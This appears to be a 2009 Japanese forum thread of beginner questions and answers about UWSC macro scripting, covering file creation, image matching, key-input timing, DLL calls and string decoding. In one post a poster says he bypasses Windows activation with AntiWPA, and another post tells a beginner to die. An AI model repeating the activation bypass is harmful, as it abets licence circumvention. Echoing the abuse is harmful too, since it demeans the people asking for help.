細かいことを言えば、Stepが0.3の場合、初期値も0.3なのが普通だけど、
ループ自体に時間もかかるし、Sleep以外の処理でも少し時間がかかるので
初期値1にしたほうがより近い時間になるだろうし、
初心者にも初期値は1で固定したほうが10回のときに1から10だから分かりやすいだろう。

あ、でも、定期的な処理が複数あって時間もまちまちの場合はこのやり方は不向きだな。応用が利かない。
781名無しさん@お腹いっぱい。:2009/10/28(水) 17:11:42 ID:LN396H4A0
たしざん 【足し算】
二つ以上の数を加えてその合計を出す計算。加え算。寄せ算。加法。加算。
782名無しさん@お腹いっぱい。:2009/10/28(水) 20:12:47 ID:1RRSN1UB0
アクティブなフォルダに空の「NewFile(1).UWS」を作るようにすることって出来るかな
(1)の部分は既にファイルがあれば(2)(3)〜となるように

ヘルプとか見ながら考えてるんだけど、全然分からない
783名無しさん@お腹いっぱい。:2009/10/28(水) 20:20:54 ID:NfK6OA8p0
>>782
それはできるけど、作ったファイルをCALLすることは出来ないっぽいよ。

CALLする .uwsファイルは、親をロードしたときにまとめて読み込むみたいだから。
784名無しさん@お腹いっぱい。:2009/10/28(水) 20:21:35 ID:NfK6OA8p0
あ、SHELLを使って別プロセスで実行することは出来るだろう。
785名無しさん@お腹いっぱい。:2009/10/28(水) 20:24:33 ID:4CuQ5Xji0
>>782
i = 0
While Fopen("NewFile(" + i + ").UWS",F_EXISTS) //存在チェック Falseが帰るまで続く
Wend
FCLOSE(FOPEN("NewFile(" + i + ").UWS",F_READ or F_WRITE)) //存在しないFileを開いて何も書き込まずに閉じるとそのファイルだけ作成される

こんな感じじゃない?
俺も昔同じような事しようとして、空ファイル作成出来る事を知らずに、DosCmd("prompt > "+Filename,,)とかやってた。
786名無しさん@お腹いっぱい。:2009/10/28(水) 20:34:22 ID:4CuQ5Xji0
>>785
思いっきり書き忘れた。
Whileループの中でi = i + 1しないとiが0のままやんorz
1〜にするなら最初がi = 1ね。解ると思うけど。
787名無しさん@お腹いっぱい。:2009/10/28(水) 20:51:57 ID:1RRSN1UB0
>>783
コールは使ったことないから大丈夫だと思う

>>785
ファイルを作るのはできた、ありがとう
やっぱりその辺で出来たんだ
でもこれだとこのファイルがあるフォルダにしか作れないけど
アクティブなフォルダを指定するにはどうしたらいいんだろう?
788名無しさん@お腹いっぱい。:2009/10/28(水) 21:01:51 ID:4CuQ5Xji0
アクティブなフォルダって言うのは、現在explorerで開いてるフォルダってことかな?
それならbatファイルでも作った方が早い気がするが、UWSCにこだわるなら、
GETITEMとか使ってそのフォルダ位置を特定して、GETDIR使ってファイル名取得して、DOSCMD使ってファイル作成が現実的じゃないかな?
短いコードで示せないし、面倒そうだから頑張ってくれとしか言えないが。。。
789名無しさん@お腹いっぱい。:2009/10/28(水) 21:06:56 ID:1RRSN1UB0
batファイルでそういうの出来るんだ
batファイルで挫折したからUWSCなら出来るかなと思ってやってたんだけど
batで出来るならそっちで頑張ってみるわ
色々ありがとう
790名無しさん@お腹いっぱい。:2009/10/28(水) 21:20:50 ID:4CuQ5Xji0
あと使えそうなのは、batにしろUWSCにしろ、そのフォルダ自体を選択して、
送るメニューでSendToフォルダに入れたbatだかUWSCかなんかに送って、その引数から調べるって事かな。
スレチに近くなると思うから、適当にしらべてくれい。
791名無しさん@お腹いっぱい。:2009/10/29(木) 07:32:32 ID:GVyFpQ2YO
SAVEIMGで保存したBMPを別のPCに移し
CHKIMG関数使い認識させたら
うまく認識してくれません
これは画像を撮ったPCでしか使えないものなんですか?
792名無しさん@お腹いっぱい。:2009/10/29(木) 07:56:16 ID:pwqTC0UdP
画面の設定で色数が少ない方は減色されてて色は完全一致しなくなる。
また、グラフィックアクセラレーターでいろんな効果をつけたり色味を調整してても同じ。
CHKIMGは基本的に色は完全一致で見るみたいだから、形で見るオプション指定たらいいんじゃないかな。
793名無しさん@お腹いっぱい。:2009/10/29(木) 09:06:11 ID:GVyFpQ2YO
>>792
回答ありがとう
今は形で見る-1で認識させてるんですが
うまく行かないんですよ
794名無しさん@お腹いっぱい。:2009/10/29(木) 09:08:38 ID:KyrcyRow0
16bit と 24bit(32bit) ビットマップの比較をしてしまっているってこと?
795名無しさん@お腹いっぱい。:2009/10/29(木) 09:16:51 ID:GVyFpQ2YO
仮に16bitと24bitで比較してても形で認識なら問題無いのでわ?
796名無しさん@お腹いっぱい。:2009/10/29(木) 09:31:10 ID:KyrcyRow0
>>795
座標を固定にしてて、タイトルバーの幅とかでズレてるとか
797名無しさん@お腹いっぱい。:2009/10/29(木) 09:56:58 ID:GVyFpQ2YO
>>796
座標も入れてないんです
CHKIMG(画像名,-1)
このように書いてますが他のPCで認識しません
798名無しさん@お腹いっぱい。:2009/11/04(水) 12:52:41 ID:8Qcx8WSzO
こんにちは初心者です^^
バックグラウンドで動かす方法を教えてください^^
799名無しさん@お腹いっぱい。:2009/11/04(水) 18:34:29 ID:R5YB3x7J0
CLKITEM使えばいいと思うよ
これでなーんにも分からないなら死ねばいいと思う
800名無しさん@お腹いっぱい。:2009/11/04(水) 18:47:45 ID:v9XrPJ0LP
どう考えても釣りだから相手にするだけ無駄
801名無しさん@お腹いっぱい。:2009/11/04(水) 19:34:50 ID:V7YiZudu0
SystemParametersInfo API を使って、レジストリの更新をWindowsに認識させたいのですけど
(壁紙のレジストリを書き換えて、その場で表示が変わるように)
WScript.Shellを使ってのレジストリの書き換えは出来ましたが、更新が出来ません。

調べてみると、SystemParametersInfo、を使えとありましたが
どうにもDEF_DLLの書き方や、そのあとの呼び出し方がわかりません。

DEF_DLL SystemParametersInfoA(Int, Int, String, Int) :Int :User32
Const SPI_SETDESKWALLPAPER = 20
Const SPIF_SENDWININICHANGE = "&H2"
Const SPIF_UPDATEINIFILE = "&H1"
SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, "c:\01.bmp", SPIF_UPDATEINIFILE or SPIF_SENDWININICHANGE)

今のところ上記ではさっぱり動かないです。
UWSCでのサンプル等があればお教え願えるとありがたいです。
802名無しさん@お腹いっぱい。:2009/11/04(水) 20:37:56 ID:0Yk32EP+P
>>801
ぐぐれよ
Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long ...

int じゃなくてLongな

Const SPIF_SENDWININICHANGE = "&H2"
これ文字列を定義しちゃってるから
数値ならこっち
Const SPIF_SENDWININICHANGE = $2
803名無しさん@お腹いっぱい。:2009/11/05(木) 12:44:49 ID:S5x5Fprv0
>>802
ありがとうございました。動きました。

intの部分、Webで探すと(自分が参考にしたのはこれ、http://support.microsoft.com/kb/97142/ja
DwordやらUINTやらいろいろあったんですけど…longにしました。
数値の定義がUWSCでの16進数指定をするべきってのがわかりました。
…当然ですけどVBAとかのサンプルコードを読むときには、VBAの作法を先に理解すべきでした…

判ったのが嬉しかったです。
804名無しさん@お腹いっぱい。:2009/11/05(木) 18:20:19 ID:pU0U6qNS0 BE:642499373-2BP(215)
ループするごとに+1して
その数字を入力したいんですが、
どのような書き方になりますか?
805名無しさん@お腹いっぱい。:2009/11/05(木) 18:29:15 ID:Uto6/TER0
えっ
806名無しさん@お腹いっぱい。:2009/11/05(木) 18:43:52 ID:RpK58qujP
>>804
forで検索
807名無しさん@お腹いっぱい。:2009/11/05(木) 18:57:41 ID:pU0U6qNS0 BE:979047348-2BP(215)
>>806
ありがとうございました。
808名無しさん@お腹いっぱい。:2009/11/06(金) 13:25:11 ID:7O4EUde5P
トリップ検索しながら他の事を自動実行して
どれくらいCPU使用率があがっているのか調べようと
「Ctrl」+「Alt」+「Dlete」でタスクマネージャ^をたちあげたら
「Alt」+「F2」でuwscが止まらないです
偶然、自動実行でタスクマネージャーをタスクバーに収納したら治った
もしかしてバグ発見でしょうか?
ちなみにCPU使用率は65%でした
どなたか、うみうみ氏へのバグ報告よろしこ
809名無しさん@お腹いっぱい。:2009/11/06(金) 18:22:43 ID:lSBe5FmK0
日本語でおk
810名無しさん@お腹いっぱい。:2009/11/07(土) 16:08:26 ID:WRnsJZjs0
ところでuwscって何て読むんだ?
ユーイック?
ユイック?
ウニスク?

絶対に読み間違わない方法として
ユーダブリューエスシーと読む方法があるんだけど
それは味気ないなからいまのところユニックって呼んでるんだけど
なんて読むの。
811名無しさん@お腹いっぱい。:2009/11/07(土) 17:23:48 ID:Sczvtx3b0
なんだよユニックって
ユーダブリューエスシーでいいじゃん
812名無しさん@お腹いっぱい。:2009/11/07(土) 17:35:53 ID:3R7yiorj0
格闘ゲームを1フレーム単位で動かしたいけど
>>563-567見てるとuwscはCPUコアを使うから向いてないみたいだ

軽い負荷でマクロを組む方法はなにがあるんだろう?
CやC++とかがいいのかな
813名無しさん@お腹いっぱい。:2009/11/07(土) 17:59:27 ID:v0hn5DQqP
それマクロじゃないから
814名無しさん@お腹いっぱい。:2009/11/07(土) 18:04:04 ID:MRy0rC3KP
>>812
1フレーム単位って・・60フレーム/秒だとして15ms以下でコントロールとかどんな言語使っても無理だって。
23msってのはゲームとUWSCの組み合わせで入力を確実にするための時間であって、
それはもしかしたらゲームの方の制約かもしれないんだ。

たとえばメモ帳にすばやく入力はできるけど、スクロールが必要な場所に書き込むととたんに遅くなる。
入力漏れも出てくる。

ゲーム性のための遊びもあるし、ゲーム側の負荷で受け付けられなかったりするんだよ。

まあ、少なくともUWSCのコントロールはハードウェアレベルのコントロールと比較して再現性が低いのは事実。
だから負荷がかかりすぎたり複雑なすばやい処理が必要なら(いわゆるコマンド入力があるなら)、向いてないかもしれない。
ただ、23ミリ秒っていうのは、DOWNからUPまでの時間なので、
← DOWN
↓ DOWN
/ DOWN
23ミリ秒の待ち
← UP
↓ UP
/ UP
てな感じでいける。
DOWN、UPそれぞれにわずかな時間がかかってはいるけど、1ミリ秒とかそんなレベルだと思うよ。
まあC++でやればDOWN3連発でも1ミリ秒もかかったりしないけど。
815名無しさん@お腹いっぱい。:2009/11/07(土) 18:54:33 ID:RDWRX6dr0
特定のプログラムだけにUWSCを使うことは可能?
最小化してるゲームにUWSCでキーとかマウスを使わせて
なおかつ、普通に他の物も操作したり
816名無しさん@お腹いっぱい。:2009/11/07(土) 19:14:54 ID:MRy0rC3KP
>>815
ゲームは多分無理。
アプリケーションに直接送信ってオプションがあるからできるものもあるだろうけど、JaneViewですらKBD()コマンドでそのままは動かせなかった。
CLKITEMとか直接コントロールを指定するスクリプトならいいんだけどね。

裏でゲームマクロしたかったら仮想マシンでも作ればいいよ。
VMware Player3.0になってから、無料なのに簡単に仮想マシンが構築できるようになってるから。
つい先日のリリースですよ。

WindowsXPゲストの仮想マシンですらメインメモリ1GBないと実用になりませんが、それはもう問題ない時期でしょう。
あと、仮想マシンにもそれ専用のライセンスが必要です。
MSに問い合わせたらホストのライセンスも取り消されちゃうので注意してくださいね。
僕はホストではちゃんとライセンス守ってるものの、ゲストではAntiWPAで回避してますけど。

XP持ってない人はいないと思うけど、持ってない人はXP-modeのサイトから誰でもダウンロードできます。
もちろん流用するのは違法だし、そのまま流用はできませんが、怪しい場所から入手するのは著作権云々以前に
攻撃ツールが埋め込まれていて知らない間に他人を攻撃してる可能性があるので絶対にやってはダメです。


だいたい仮想マシンとかいろんな構成で何度も入れなおしたりするのにいちいち空くティベー所んとかやってられないですから。
817名無しさん@お腹いっぱい。:2009/11/07(土) 19:15:42 ID:3R7yiorj0
>>814
どんな言語使っても無理そうですかー
C言語でもだめだってならあきらめるしかないな
uwscは向いてはいないが、かと言ってこれより最適なものもない。って感じなのかな

格闘ゲームってやりこんでいくと1フレーム猶予の攻防がざらにあるんだけど
それを1フレーム単位のボタンON・OFFで検証したくてw
もし高い精度で1フレーム単位で動かせたら、組む時に分かりやすい、
安心感がある、何度も検証をやり直さずに済んで最高なんだけどなあ
818名無しさん@お腹いっぱい。:2009/11/07(土) 19:24:47 ID:MRy0rC3KP
>>817
大雑把な方法でよければ、一定時間繰り返すっていう手があるよ。

単純に繰り返しを早くしたり遅くしたりしてどれくらいの猶予があれば動くかとか
相手のある操作、組み合わせのある操作の場合は、
それぞれの実行間隔をわずかにずらして、何回ごとに違うアクションになるかとか・・
あ、攻撃を受けたらのけぞったりするからダメか。

一応このずらすやり方っていうのは、ノギスとかで、大雑把な目盛りを組み合わせて精度の高い測定をする方法として一般的なんだよ。
819名無しさん@お腹いっぱい。:2009/11/07(土) 19:31:36 ID:RDWRX6dr0
>>816
なるほど
よくわかりませんが
単純作業なので窓で開いたままします

ところで

KBD(VK_G,CLICK,203)

のクリックの後にある数字はなんでしょうか?
820名無しさん@お腹いっぱい。:2009/11/07(土) 20:00:00 ID:MRy0rC3KP
>>819
確か、その処理をするまでの待ち時間ですね。
それは負荷がかかるので僕は省略してます。
かわりに
Sleep(0.203); KBD(VK_G,CLICK)
とかにしてますね。
再現性はKBDで時間を指定したほうが高いでしょうが、0.1ミリ秒とかいう長い時間を待つには向いてないと思うんで。

負荷がかかってるけど入力タイミングがシビアなときにはこんな感じ
KBD(VK_ctrl, DOWN, 5)  // 時間を省略してもいいけど同時入力は処理できない可能性があるので
KBD(VK_shift, DOWN, 5)
Sleep(0.01)  // CtrlとShiftの押し下げ状態を対象に処理させるための待ち。Sleepしてる間UWSCはCPUを開放する。
KBD(VK_X, DOWN, 5)
KBD(VK_Z, DOWN, 5)
Sleep(0.03)  // キーのクリック認識のための待ち。複数のキーだとCLICK2回よりもすばやい。
         // 内側のキーはCLICKにしてSleepを外したほうが処理は確実で無駄がないが、Sleepにしたほうがゲーム側の処理に時間を回せる。
KBD(VK_X, UP, 5) // キーは押した順に離すとそれぞれのキーを押し下げている時間を一定に出来、間のSleepを短く出来る。5msの待ちが入ってるから0.02まで減らしても大丈夫だと思う。
KBD(VK_Z, UP, 5)
Sleep(0.01) // キーは離すときまで油断しない。確実にUPしないと次のCLICKができない。
KBD(VK_ctrl, UP, 5)
KBD(VK_shift, UP, 5)
821名無しさん@お腹いっぱい。:2009/11/07(土) 21:00:20 ID:RDWRX6dr0
>>820
こんな初歩的な質問まで丁寧に答えていただいて
本当に助かります、じっくりと読ませて頂きます。
822名無しさん@お腹いっぱい。:2009/11/08(日) 16:20:11 ID:FS1xEc4g0
中二病的発想で申し分けないんだが、
画像検索やって、認識したらターゲットにロックオンサイトが表示されたり、カラーメッシュがかかったりするのって可能?

マウスカーソルが移動するのは無しな、マウスカーソルを移動させるだけなら習得済みだから。
823名無しさん@お腹いっぱい。:2009/11/08(日) 18:17:31 ID:wKqL8NlR0
>>822
ゲームの描画はDirectXを使っていてリフレッシュレートにあわせてバッファからコピーしている。
DirectXで画面に表示されたものをさらに上書きするのは大変なことだよ。
タスクマネージャの「常に手前に表示」ですら後ろに隠れるんだから。

ゲームハック専用ツールならそういうことも不可能ではないかもしれないが、ちょっと無理だね。

Windows7で窓化して、ゲーム画面と同じ大きさの透明の窓を作ってそこに描画するのが簡単な方法だろう。
透明窓の重ね合わせはWindows7がハードウェアでやってくれるから負荷もかからないし。

一番負荷のかからないのは、ゲームをハックして書き終わったところで表示。
画像認識なんかしないでデータ上の座標を取得して重ね合わせ。

だいたい画像認識なんてのはゲームを動かすより大変な労力がいるんだぜ?
もちろん、戦闘機とか防犯カメラには当たり前についているけど、フレームレートが1秒間に10コマとかそんなもんで、
60fpsにあわせて処理なんてCore i7くらいの性能じゃないと無理。
いや、画像処理をGPGPUにやらせるならセレロンでもいけるか。

普通のGPUはあくまでも描画用回路しかないから無理だが。
824名無しさん@お腹いっぱい。:2009/11/08(日) 22:43:22 ID:N1ZfyY/E0
変数を使いある変数を別の変数へ変化させる方法

n1 = 0
n2 = 0
n3 = 0
n4 = 0
n5 = 0
という変数を定義した後に
n = "n"
m = 1
nm = n + m
と定義して

m = m + 2

とmに2を加えてやってmの値を3にしnmをn3の状態に変化させ
nm = nm + 3という式を与えると
私としてはn3に3を加えn3=3と
したつもりなのですがnmがnm3になります

mの数値を変化させnmを使いn1〜n5の変数の値を操作したいのですがどうすればいいでしょうか
825名無しさん@お腹いっぱい。:2009/11/08(日) 22:57:52 ID:wKqL8NlR0
>>824
> n = "n"
これはnを文字列として定義したことになります。
文字列に数値を加えるのは、文字列の連結になります。
”n” + 1  は
”n” & 1  と同じ意味です。

EVALというのを使えば ”n1”という文字列からn1の変数を操作可能ですが。


> mに2を加えてやってmの値を3にし
m = 1
m = m + 2

> nmをn3の状態に変化させ
nm = n3

> nm = nm + 3という式を与えると

> 私としてはn3に3を加えn3=3と
n3 + 3 = 3


・・・よく分からないので表にしてください
826名無しさん@お腹いっぱい。:2009/11/09(月) 00:15:54 ID:wp6IQbGR0
//>>824 返答ありがとう//
//やりたいこと//
//変数を使って3行目変数n3の値を3にしたい//

//式//
////////////////////////////////////////////////////
n1 = 0
n2 = 0
n3 = 0
n4 = 0
n5 = 0
n ="n"     
m = 1 //コメント1:mを1置く//
m = m + 2 //コメント2:mに2を加える。現在mの値は3。現在nm = n3。//
nm = n + m //コメント3:現在n = nでm = 3なのでnmはn3となる//
nm = nm + 3 //コメント4:左辺のnmはn3なので3行目の左辺と10行目の左辺は同じ値であるということになる為//
        //      nm = nm + 3 ということは n3 = n3 + 3ということになり、//
// 3行目のn3の値0に3を加えたこと((n3 + 3 = 3)ではなく(n3 = n3 + 3)ということ)になる//                                  
print n3
/////////////////////////////////////////////////////
//期待したプリント結果は 3 // 
//実際のプリント結果は 0 //


//これで少しはわかりやすくなったでしょうか//
//変数aを使って変数bの値を変化させる方法の勉強中です//
827名無しさん@お腹いっぱい。:2009/11/09(月) 00:40:40 ID:wp6IQbGR0
>>825
EVALという機能でいけました。
ありがとう!40時間もかかった><
828名無しさん@お腹いっぱい。:2009/11/09(月) 00:59:20 ID:BZ9g5EYX0
>print n3
>//実際のプリント結果は 0 //
そりゃ、変数nmには文字列 "n3" が代入されてるけど、
変数n3になんにも代入されてないからねえ。

配列つかえばいいんじゃないの。

dim n[5] = 0, 0, 0, 0, 0
m = 3

n[m] = 3

print n[3]
829名無しさん@お腹いっぱい。:2009/11/09(月) 01:02:55 ID:BZ9g5EYX0
訂正
なんにも代入されてないから → 0が代入されたままだから
830名無しさん@お腹いっぱい。:2009/11/09(月) 01:24:03 ID:Wg6Yr+FN0
>>828
今それ書こうと思ったのに!
ってか、確認してないだろw配列も6個宣言してるしw
831名無しさん@お腹いっぱい。:2009/11/09(月) 01:25:34 ID:Wg6Yr+FN0
こんな感じかな?
dim n[4]=0,0,0,0,0
m = 3
n[m]=n[m]+3
print n[m]
832名無しさん@お腹いっぱい。:2009/11/09(月) 01:43:46 ID:BZ9g5EYX0
>>829
あ、ほんとだ。
一応テストしたんだけどなあ。
エラー出なかったから気づかなかった。
833名無しさん@お腹いっぱい。:2009/11/09(月) 21:29:27 ID:7/pEhhd4O
さっきダウンしてUWSCとかスクリプトとか一切わからんのだが
コピペした文章をエクセルで常に特定のセルに張り付ける方法教えくされ
動かすとエクセル側のセルがずれる
834名無しさん@お腹いっぱい。:2009/11/09(月) 22:20:10 ID:reYUu1vL0
>>833
ダウンしたなら寝てろよ
835名無しさん@お腹いっぱい。:2009/11/10(火) 02:43:35 ID:Ljbgb4FJ0
>>833
OLEObjectを操作すればおk
836名無しさん@お腹いっぱい。:2009/11/10(火) 04:18:28 ID:KPKoPGpy0
配列の中にある変数の1つがその配列の中で何番目に大きな数値なのかを知る方法

dim p[10] =0,12,3,13,5,4,7,8,1,12,3,29 という配列があったとする。

p[7] = 8 なのでp[7]はこの配列の中で5番目に大きい数値であるということはわかるけれども
これをuwscで導き出すにはどうしたらいいのでしょうか。
837名無しさん@お腹いっぱい。:2009/11/10(火) 04:37:07 ID:Ljbgb4FJ0
>>836
まず名前の付け方がダメですね。
pは普通ポインタを意味するので使ってはダメです。
UWSCにポインタはないけど、名前付けの基本ですから。

Nとでもしてください。
dim N[10] は N[0]〜N[10]までの11個の配列ですが、12個指定してるのでエラーです。

最大値の求め方は他の言語のアルゴリズムと同じですから、ぐぐってください。

配列データの処理には、for 〜 next を使うのが基本です。
for i = 0 to 10
 print N[i]
next

【実行結果】
0
12
3
13
5
4
7
8
1
12
838名無しさん@お腹いっぱい。:2009/11/10(火) 07:30:19 ID:JLM+3UwS0
URLエンコードされた文字列(例%82%a0%82%a2%82%a4%82%a6%82%a8)を
デコードして元の文字列(あいうえお)に戻したいのですが、どうやったら良いのでしょうか。
839名無しさん@お腹いっぱい。:2009/11/10(火) 08:13:59 ID:Ljbgb4FJ0
>>838
DECODE( "%82%a0%82%a2%82%a4%82%a6%82%a8", CODE_URL )
840名無しさん@お腹いっぱい。:2009/11/10(火) 09:12:00 ID:JLM+3UwS0
ありゃそんな関数ありましたか。失礼しました。
文字列関連ばかり見てました。
841名無しさん@お腹いっぱい。:2009/11/10(火) 09:30:12 ID:JLM+3UwS0
喜んだのは束の間、実際の文字列はEUC-JPだった…
さてどうしたものか。
842名無しさん@お腹いっぱい。:2009/11/10(火) 09:53:06 ID:Ljbgb4FJ0
%82をEUC-JPで書かれてるの?まさかそんなことはないよね。
開いたページの話なら、IEで表示した文字を取得すれば変換されてるよ。

具体的には、IE.Document・・.InnerHTMLはもとのコードかもしれないけど
.InnerTEXTは変換されてるかもしれない。
もしくは、上記はどちらももとの文字コードで、IEGetDataなら変換されてるかもしれない。
843名無しさん@お腹いっぱい。:2009/11/10(火) 10:17:19 ID:JLM+3UwS0
さっきは安易にshift-jisで例を出してしまいましたが実際はeuc-jpで
%a4%a2%a4%a4%a4%a6%a4%a8%a4%aa = あいうえお
やろうとしてることはwikiからゲットしたページの内部に張ってあるリンクを元の
日本語に変換しようってことなんですが。
844名無しさん@お腹いっぱい。:2009/11/10(火) 11:29:47 ID:Ljbgb4FJ0
>>843
その文字列をどうやって取得したかですよ。
IEGetDataなら問題ないはずなんですが。

.Valueだったなら、.InnerHTMLとか.InnerTEXTも試してみてください。


ところで、Wikipediaのホームページのソースには charset=utf-8 って書いてあるんですけど。
845名無しさん@お腹いっぱい。:2009/11/10(火) 11:38:56 ID:JLM+3UwS0
wiki≠Wikipedia
一般のwikiですよ。
uwsc経由でなく、既にローカルに保存したファイルです。
ブラウザで開くこともありません。
846名無しさん@お腹いっぱい。:2009/11/10(火) 11:56:44 ID:JLM+3UwS0
uwscをテキスト変換に使おうというところから間違っているかもしれないですね。
847名無しさん@お腹いっぱい。:2009/11/10(火) 12:53:16 ID:O2OEndzR0
>>846
(保存したものを||保存するときに)、UTF8あたりに変換ソフトかませればいいんじゃね?
不恰好かもしれないが、テキストエディタを制御してもいいんだし…UWSCの十八番でしょう。

変換を外部に頼るならnkfのwindows版でも使えるような気がするけどなぁ。
848名無しさん@お腹いっぱい。:2009/11/10(火) 13:19:54 ID:JLM+3UwS0
そういうファイル全体の文字コードは他のツールで問題ないんですけど…
shift-jisで %a4%a2%a4%a4%a4%a6%a4%a8%a4%aa と書いてある部分を
あいうえお として取得したいのです。
DECODE("%a4%a2%a4%a4%a4%a6%a4%a8%a4%aa",CODE_URL)だと化けて 『、「、、、ヲ、ィ、ェ』になってしまう。

一旦ファイルに書き出して、他の変換ツールでeuc-jp→shift-jis変換して
再度読み込んで取得というのにしようかと考え中です。
スマートじゃないけど、ちゃんと動作するので。
849名無しさん@お腹いっぱい。:2009/11/10(火) 13:42:33 ID:O2OEndzR0
>>848
前述したnkfのdllを使うことで、外部ファイル経由じゃなくても変換できたぞ
850名無しさん@お腹いっぱい。:2009/11/10(火) 15:17:35 ID:JLM+3UwS0
>>848は失敗、最後の文字が空白になる文字だとちょん切られてしまいましたorz
>>849
参考までにその方法を教えて頂ければ。
Dll定義はほとんど使ったこと無いんでよくわからんです。
beep鳴らすくらいにしか使ったことがない。
851名無しさん@お腹いっぱい。:2009/11/10(火) 16:33:16 ID:O2OEndzR0
>>850
自分もよくわからんまま使ってるけどなぁ
十分な領域を確保? UWSCにそんな定義ないよなぁ・・・・とか
nkf は-> http://www.vector.co.jp/soft/dl/win95/util/se295331.html

//-----------------------------------------
DEF_DLL GetNkfVersion(var string): :nkf32.dll //型名の宣言があってるかはいまだよく判らん
DEF_DLL SetNkfOption(var string):int :nkf32.dll
DEF_DLL NkfConvert(var string, var string): :nkf32.dll

version = "null" // "" だと受け取ってくれない
GetNkfVersion(version)

Str = "%a4%a2%a4%a4%a4%a6%a4%a8%a4%aa"
StrDECODE = DECODE(Str, CODE_URL)
SetNkfOption("s") //S-JISを指定
outStr ="null"
NkfConvert(outStr, StrDECODE)

msgbox(version +"<#CR>元 : " + Str +"<#CR>後 : "+ outStr)

//-------------------------------------------

…あと、BEEP鳴らすの面白いw ありがとう。コードの楽譜どこかに無いかな…
852名無しさん@お腹いっぱい。:2009/11/10(火) 16:56:54 ID:JLM+3UwS0
>>851
いい感じに行けました。ありがとうございます。
853名無しさん@お腹いっぱい。:2009/11/10(火) 17:38:46 ID:GpcSIMUW0
マウスカーソルをCHKIMGで画像認識することはできないのですか?
カーソルの状態を判定したいのです。
ゲームで使いたいく、MUSCURはだめそうなので・・
854名無しさん@お腹いっぱい。:2009/11/10(火) 18:08:42 ID:uuf5Ec7A0
>>853 imagine?
855名無しさん@お腹いっぱい。:2009/11/10(火) 18:20:19 ID:GpcSIMUW0
別のツールならできるということですか?
856名無しさん@お腹いっぱい。:2009/11/10(火) 18:55:52 ID:Ljbgb4FJ0
>>851-852
領域は文字列をあらかじめ代入して作ります。
UWSCで領域を確保するには工夫がいるようですが、他の言語よりもある意味簡単かも。

>>851の例では変換後のSJISの方が短くなるので
outStr = Str
とすれば、十分な領域を確保できます。
この辺きちんとやらないと意味不明なバグに遭遇することになります。

参考:
ttp://www.geocities.jp/nrjsmnb/dic/u/UWSC.htm
// APIを利用した文字変換
function 文字変換(kind, moji)
  ret = moji + moji    // 半角->全角の為に倍の領域を確保
  LCMapStringA(0, kind, moji, -1, ret, Length(ret))
  result = ret
fend
857名無しさん@お腹いっぱい。:2009/11/10(火) 20:12:44 ID:Gw0JXs4g0
>>836
遅レスだけど、何回も値見るなら二次元配列にして何番目の値か入れておけばいい。
何回も追加削除するなら、二次元配列にして、大きさの順番に配列に番号,値を格納して、
追加削除の時に配列シフト使えば多少軽くなると思うよ。
858名無しさん@お腹いっぱい。:2009/11/11(水) 07:24:01 ID:k45oh59N0
>>855
いや、

972 名前:名も無き冒険者 [sage] 投稿日:2009/11/10(火) 17:02:41 ID:???
分解マクロ作りたいのですが、
店員をクリックするのがうまく行きません。
カーソルが矢印から○十字になるのを
画像認識してクリックさせているんですけれど・・・
店画面になってから買うのと分解するところはうまくいっています

レスのタイミングからこれかと思ってさ。
859名無しさん@お腹いっぱい。:2009/11/12(木) 11:50:38 ID:DGvdxA4EO
UWSCを再生したらSTOPって出ますよね
そのSTOPをマクロで押し一度停止したのちに、すぐ再生までをマクロ可能ですか?
860名無しさん@お腹いっぱい。:2009/11/12(木) 11:58:24 ID:DGvdxA4EO
すいません焦って書き過ぎました。

手動で再生
マクロで停止
マクロ再生
こういう流れを組みたいのですが可能ですか?
可能でしたら組み方をアドバイスお願いします。
861名無しさん@お腹いっぱい。:2009/11/12(木) 12:27:51 ID:N2QpMoHSP
機能理解不足、しかも説明が下手なら本当にやりたい事を書いたほうがいい
マクロをどう動かしたいかではなく、マクロを使って何をしたいかをね

もっと別のいい方法があるはずだから
862名無しさん@お腹いっぱい。:2009/11/12(木) 12:46:02 ID:DGvdxA4EO
説明不足で申し訳ないです。

ある画面になると一度停止してマクロを初期化したくて
初期化したいのはウィンドウハンドル
新たにウィンドウハンドルを収得すれば良い話なんですが中々上手くいかなく
手動停止〜手動再生 すれば動くようになるので、この動作もマクロで出来ないかなと思いまして、質問しました。
863名無しさん@お腹いっぱい。:2009/11/12(木) 22:05:42 ID:I/hgk8z30
KBD(VK_A,CLICK,40)
を使ってキーボード入力しているのですが
大文字、小文字を使い分けるときは
KBD(VK_SHIFT,DOWN,40)
KBD(VK_A,CLICK,40)
KBD(VK_SHIFT,UP,40)
というようにしないと無理でしょうか?
もう少し効率のいい方法があれば教えてアドバイス欲しいのですが
864名無しさん@お腹いっぱい。:2009/11/12(木) 22:09:24 ID:UpsrNqrXP
>>863
CapsLock・・・とか
865名無しさん@お腹いっぱい。:2009/11/13(金) 00:46:22 ID:PMcSQRlS0
>>864
やっぱそういう方法しかないですよね・・・
文字コードとか使えればいいんですが地道にスクリプト組むことにします
866名無しさん@お腹いっぱい。:2009/11/13(金) 19:31:59 ID:xGhkIPWz0
抽出してもよくわからず、単発になってしまい申し訳ないです。

Aがあれば操作X、なければBを探してBがあれば操作Y後Aを探す、なければ操作Z後Bを探しつづける

While True
IFB CHKINMG -A
操作X
Break

ENDIF
WhileTrue
IFB CHKINMG -B
操作Y
Break

ENDIF
操作Z

Wend
Wend

というような命令をしたいのですがwhile ENDIF(while ENDIF wend)wendというスクリプトは組めないですか?
更に、Repeat whileA ENDIF(whileB ENDIF wend)wend whileC ENDIF(whileD ENDIF wend)wend until としたいです。

質問の仕方も、説明も理解不足だと承知していますがよろしくおねがいします。
867名無しさん@お腹いっぱい。:2009/11/13(金) 20:09:18 ID:wt1FvuqrP
>>866
まずインデント修正
While True
 IFB CHKINMG -A
  操作X
  Break
  
 ENDIF
 WhileTrue
  IFB CHKINMG -B
   操作Y
   Break
   
  ENDIF
  操作Z
  
 Wend
Wend

while ENDIF(while ENDIF wend)wendというスクリプトは組めないですか?
while
 ENDIF
 while
  ENDIF
 wend
wendというスクリプト
868名無しさん@お腹いっぱい。:2009/11/13(金) 20:14:54 ID:wt1FvuqrP
更に、Repeat whileA ENDIF(whileB ENDIF wend)wend whileC ENDIF(whileD ENDIF wend)wend until としたいです。
Repeat
 whileA
  ENDIF
  whileB
   ENDIF
  wend
 wend
 whileC
  ENDIF
  whileD
   ENDIF
  wend
 wend
until としたいです。

